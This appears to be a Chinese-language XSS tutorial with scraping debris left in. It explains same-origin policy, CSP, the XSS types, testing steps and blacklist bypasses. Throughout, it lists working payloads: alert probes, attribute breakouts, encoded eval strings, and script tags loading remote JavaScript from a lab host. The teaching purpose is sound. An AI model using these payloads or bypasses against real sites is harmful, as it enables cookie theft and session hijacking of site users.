![\"1744001095584-4731347f-97f1-47e0-9991-1a63f12307ce.png\"](\".\/img\/Tj1MOAudQ4hwKJ4i\/1744001095584-4731347f-97f1-47e0-9991-1a63f12307ce-754293.png\")
![\"1744001103998-59b0d3d2-d7b6-4bfc-85e2-1a95683c6b35.png\"](\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/20\/68f597cee3a1e.png\")
<\/p>\n<\/p>\n
![\"1744001135044-ee930de2-f8c6-4751-8b69-e8fe0915b7cf.png\"](\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/20\/68f597d1bda95.png\")
<\/p>\n
\u4e00\u4e2a\u7f51\u7ad9\u7684\u8d44\u6e90\u53ea\u6709\u8be5\u6765\u81ea\u7f51\u7ad9\u7684\u4ee3\u7801\u624d\u80fd\u8fdb\u884c\u8bbf\u95ee<\/p>\n
\u540c\u6e90\u6761\u4ef6\uff1a<\/p>\n
\u76f8\u540c\u534f\u8bae<\/p>\n
\u76f8\u540c\u57df\u540d<\/p>\n
\u76f8\u540c\u7aef\u53e3\u53f7<\/p>\n
Content-Seecurity-Policy\u5143\u6807\u8bb0\u5141\u8bb8\u60a8\u5b9a\u4e49\u8d44\u6e90\u7684\u52a0\u8f7d\u4f4d\u7f6e,\u9632\u6b62\u6d4f\u89c8\u5668\u4ece\u4efb\u4f55\u5176\u4ed6\u4f4d\u7f6e\u52a0\u8f7d\u6570\u636e\uff0c\u4ece\u54ea\u513f\u964d\u4f4eXSS\u6b21\u653b\u51fb\u7684\u98ce\u9669\uff0c\u4f7f\u5f97\u653b\u51fb\u8fd9\u66f4\u96be\u5c06\u6076\u610f\u4ee3\u7801\u6ce8\u5165\u5230\u7f51\u7ad9<\/p>\n
dufault-src<\/p>\n
script-src<\/p>\n
style-src<\/p>\n
\u5d4c\u5165\u8fdc\u7a0b\u8d44\u6e90 \u5229\u7528ajax\u8fdb\u884c\u8868\u5355\u53d1\u9001\uff08\u4f46\u662f\u65e0\u6cd5\u8bfb\u53d6\u56de\u5e94\u4fe1\u606f\uff09\u548c\u7f51\u9875\u8df3\u8f6c<\/p>\n XSS<\/strong>\u88ab\u79f0\u4e3a\u8de8\u7ad9\u811a\u672c\u653b\u51fb\uff0c<\/strong>\u7531\u4e8e\u548cCSS\u91cd\u540d \u6539\u4e3aXSS<\/p>\n \u4e3b\u8981\u5229\u7528javascript\uff0c\u5b83\u53ef\u4ee5\u975e\u5e38\u7075\u6d3b\u64cd\u4f5chtml\u3001css\u548c\u6d4f\u89c8\u5668<\/p>\n xss\u4e0a\u6d4f\u89c8\u5668\u6e32\u67d3\u5230\u7f51\u9875\u4ee3\u7801\u4e2d\u542b\u6709\u7528\u6237\u63a7\u5236\u5230\u8f93\u5165\uff0c\u7528\u6237\u8f93\u5165\u6ca1\u6709\u88ab\u8fc7\u6ee4\uff0c\u5c06\u6076\u610fjavascrpt\u4ee3\u7801\u6ce8\u5165\u5230\u7f51\u9875\u4e2d\uff0c\u8fbe\u5230\u653b\u51fb\u6548\u679c<\/p>\n \uff01\uff1a\u5728\u751f\u4ea7\u73af\u5883\u4e2d\u6d4b\u8bd5\uff0c\u4f7f\u7528\u626b\u63cf\u5668\u5230\u60c5\u51b5\u4e0b\uff0c\u8981\u6ce8\u610f\u63d0\u4ea4\u5230\u670d\u52a1\u5230\u8868\u5355\u63d2\u5165xss payload\uff0c\u53ef\u80fd\u4f1a\u9020\u6210dirty data\u7684\u4ea7\u751f\uff0c\u4f1a\u5bf9\u5176\u4ed6\u7528\u6237\u9020\u6210\u5f71\u54cd\uff0c\u6d4b\u8bd5\u524d\u5e94\u4e0e\u7cfb\u7edf\u4fa7\u6c9f\u901a\uff0c\u6309\u7167\u6d4b\u8bd5\u89c4\u8303\u8fdb\u884c\u6d4b\u8bd5<\/p>\n \u76d7\u53d6\u5404\u79cd\u7528\u6237\u8d26\u53f7<\/p>\n \u7a83\u53d6\u7528\u6237Cookie \u5192\u5145\u7528\u6237\u8eab\u4efd\u8fdb\u5165\u7f51\u7ad9<\/p>\n \u52ab\u6301\u7528\u6237Session\uff0c\u6267\u884c\u64cd\u4f5c<\/p>\n \u5237\u6d41\u91cf\uff0c\u6267\u884c\u5f39\u7a97\u5e7f\u544a<\/p>\n \u4f20\u64ad\u8815\u866b\u75c5\u6bd2<\/p>\n \u00b7\u00b7\u00b7\u00b7\u00b7<\/p>\n payload\u7ecf\u670d\u52a1\u5668\u54cd\u5e94\u5230\u524d\u6bb5\u9875\u9762\uff0c\u6d4f\u89c8\u5668\u89e3\u6790XSSpayload\uff0c\u89e6\u53d1XSS\u6f0f\u6d1e<\/p>\n \u5e38\u89c1\u4f4d\u7f6e<\/strong><\/p>\n \u641c\u7d22\u6846\uff0c\u7528\u6237\u767b\u5f55<\/p>\n \u7279\u70b9<\/strong><\/p>\n \u975e\u6301\u4e45\u6027\uff0c\u53c2\u6570\u8de8\u7ad9\u811a\u672c<\/p>\n \u5229\u7528<\/strong><\/p>\n \u7a83\u53d6\u7528\u6237Cookie\u6216\u8fdb\u884c\u9493\u9c7c\u8bc8\u9a97<\/p>\n payload\u8bf7\u6c42\u81f3\u670d\u52a1\u7aef\uff0c\u670d\u52a1\u7aef\u4fdd\u5b58XSSpayload\uff0c\u54cd\u5e94\u5230\u516c\u5171\u524d\u6bb5\u754c\u9762<\/p>\n \u5e38\u89c1\u4f4d\u7f6e<\/strong><\/p>\n \u7559\u8a00\u677f\uff0c\u8bc4\u8bba\uff0c\u535a\u5ba2\u65e5\u5fd7\uff0c\u6587\u4ef6\u4e0a\u4f20<\/p>\n \u7279\u70b9<\/strong><\/p>\n \u6301\u4e45\u6027\u8de8\u7ad9\u811a\u672c\uff0c\u66f4\u5177\u5a01\u80c1<\/p>\n \u5229\u7528<\/strong><\/p>\n \u6e17\u900f\u7f51\u7ad9\uff0c\u6302\u9a6c\uff0c\u8815\u866b\u75c5\u6bd2\uff0c\u9493\u9c7c<\/p>\n XSSpayload\u4e0d\u7ecf\u540e\u7aef\u670d\u52a1\u7aef\uff0c\u7ecf\u524d\u7aefjs\u76f4\u63a5\u64cd\u4f5cDOM\u6ce8\u5165XSSpayload<\/p>\n \u5e38\u89c1\u4f4d\u7f6e<\/strong><\/p>\n \u7ffb\u8bd1\u8f93\u5165\u6846<\/p>\n \u7279\u70b9<\/strong><\/p>\n \u975e\u6301\u4e45\u5316<\/p>\n \u5229\u7528<\/strong><\/p>\n \u91cd\u5b9a\u5411<\/p>\n \u5982\u679c\u8f93\u5165\u4e0d\u5728HTML\u6807\u7b7e\u4e2d\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u5982\u4e0bpayload<\/p>\n \u5c1d\u8bd5\u8df3\u51fa\u6807\u7b7e<\/p>\n \u65e0\u6cd5\u8df3\u51fa\u6807\u7b7e\uff0c\u5c1d\u8bd5\u8df3\u51fa\u5c5e\u6027<\/p>\n \u5f53\u524d\u6807\u7b7e\u65e0\u53ef\u8fd0\u884cJavascript\u5c5e\u6027<\/p>\n \u65e0\u6cd5\u8df3\u51fa\u5f53\u524d\u5c5e\u6027\uff0c\u5219\u5728\u5f53\u524d\u5c5e\u6027\u5c1d\u8bd5\u63d2\u5165JavaScript\u4ee3\u7801<\/p>\n \u5c1d\u8bd5\u8df3\u51faScript\u6807\u7b7e<\/p>\n \u8df3\u51fa\u5f53\u524d\u5b57\u7b26<\/p>\n Nessus<\/p>\n Burp suite Scanner<\/p>\n XSStrike<\/p>\n Easy XSS<\/p>\n \u524d\u7aef\u4ee3\u7801<\/p>\n \u540e\u7aef\u4ee3\u7801\uff08\u5982\u6709\u6743\u9650\uff09 \u9700\u8981\u7ed5\u8fc7WAF\u548c\u9ed1\u540d\u5355\u6765\u68c0\u6d4bXSS<\/p>\n \u53ef\u4ee5\u4f7f\u7528\u7684\u6280\u5de7<\/p>\n<img>,<script src=><iframe><\/code><\/p>\n<script>\n \/\/\u5411\u670d\u52a1\u5668\u8bf7\u6c42\u4fe1\u606f\n ajax = new XMLHttpRequest()\n ajax.open(\"GET\",\"http:\/\/10.0.2.5:8000\/hello.txt\",true)\n ajax.send()\n ajax.reponse\n<\/script><\/code><\/pre>\nXSS\u5371\u5bb3<\/h2>\n
XSS\u7c7b\u522b<\/h2>\n
\u53cd\u5c04\u578bXSS<\/h3>\n
![\"1744001862309-5a7f798e-2205-4fb9-b67a-7cb995065d72.png\"](\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/20\/68f597d481d88.png\")
<\/p>\n\u5b58\u50a8\u578bXSS<\/h3>\n
DOM\u578bXSS<\/h3>\n
\u7c7b\u578b\u533a\u522b<\/h3>\n
![\"1744002033967-7028c06b-eb9c-481a-897a-41e7b7a50b55.png\"](\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/20\/68f597d8ebce4.png\")
<\/p>\n\u6d4b\u8bd5\u65b9\u6cd5<\/h2>\n
\u67e5\u770b\u7528\u6237\u5230\u8f93\u5165\u5982\u4f55\u5b58\u5728\u4e8e\u6e90\u4ee3\u7801\u4e2d<\/h3>\n
![\"1744002078556-2cebfb18-a3fc-442c-a321-595a102d93a9.png\"](\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/20\/68f597dbb2fe8.png\")
<\/p>\n<script>alert(window.origin)<\/script><\/code>\u9047\u5230iframe\uff0c\u8be5\u65b9\u5f0f\u53ef\u4ee5\u68c0\u6d4b\u51fa\u4ee3\u7801\u5b9e\u9645\u8fd0\u884c\u4f4d\u7f6e<\/p>\n<script>console.log(window.origin)<\/script><\/code>\u9488\u5bf9\u5b58\u50a8\u578bXSS<\/p>\n<img src=x oneroor=alert('XSS');><\/code>\u6216<svg onload=alert(1)><\/code><\/p>\n<script src=\"http:\/\/10.0.2.5:8080\/name.js\"><\/script><\/code>\u5982\u65e0\u56de\u663e<\/p>\n<plaintext><\/code>\u6807\u7b7e\u5185\u5230\u6240\u6709\u5185\u5bb9 \u6309\u7167HTML\u6e90\u4ee3\u7801\u65b9\u5f0f\u663e\u793a<\/p>\n{{7*7}}<\/code>\u68c0\u6d4b\u662f\u5426\u6f0f\u6d1e\u4e3aSSTI<\/p>\n\u7528\u6237\u8f93\u5165\u5728HTML\u6807\u7b7e\u4e2d
![\"1744002352110-c53d7cbe-3695-4438-8dab-e7af8025e4f3.png\"](\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/20\/68f597de1fc19.png\")
<\/h3>\n\"><script>alert(1)<\/script><\/code><\/p>\n\"onerrot=\"alert(1)<\/code><\/p>\n\"accesskey=\"x onclick=\"alert(1)\" x=\"<\/code><\/p>\n<a =href=\"javaScript:alert(1)\"><\/code><\/p>\n\u7528\u6237\u8f93\u5165\u5728JavaScript\u4e2d<\/h3>\n
![\"1744002544346-c7dc0285-e95b-44a8-820b-7f02792a1f4d.png\"](\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/20\/68f597e09353e.png\")
<\/p>\n<\/script><script>alert(1)<\/script><\/code><\/p>\n'-alert(1)-'<\/code><\/p>\n';alert(1)\/\/<\/code><\/p>\n\u81ea\u52a8\u5316\u5de5\u5177<\/h3>\n
\u4ee3\u7801\u5ba1\u8ba1<\/h3>\n
![\"1744002599715-a5be8ab8-83b2-49ac-927f-4c04b97c9afe.png\"](\"https:\/\/cdn.picui.cn\/vip\/2025\/10\/20\/68f597e403eb1.png\")
<\/p>\nXSS\u9ed1\u540d\u5355\u7ed5\u8fc7<\/h2>\n
\u53d8\u5316\u5927\u5c0f\u5199<\/h3>\n
<sCRipT>alert(\"xss\")<\/sCRipT><\/code><\/p>\n\u7ed5\u8fc7""<\/h3>\n
<script>alert('xss')<\/script><\/code><\/p>\n<script>alert(\/xss\/.source)<\/script><\/code><\/p>\n<script>alert(String.fromCharCode(120,115,115))<\/script><\/code><\/p>\n<script>eval(8680349..toString(30))(43804..toString(36))<\/script><\/code><\/p>\n\u7ed5\u8fc7\u7a7a\u683c<\/h3>\n
<script\/**\/src=\"http:\/\/10.0.2.5:8080\/my.js\"><\/script><\/code><\/p>\n\u7ed5\u8fc7\uff08\uff09<\/h3>\n
<script>alert<\/code>1<\/script><\/code><\/p>\n<script>eval.call<\/code>${‘alertx2821x29’}<\/script><\/code><\/p>\n\u7ed5\u8fc7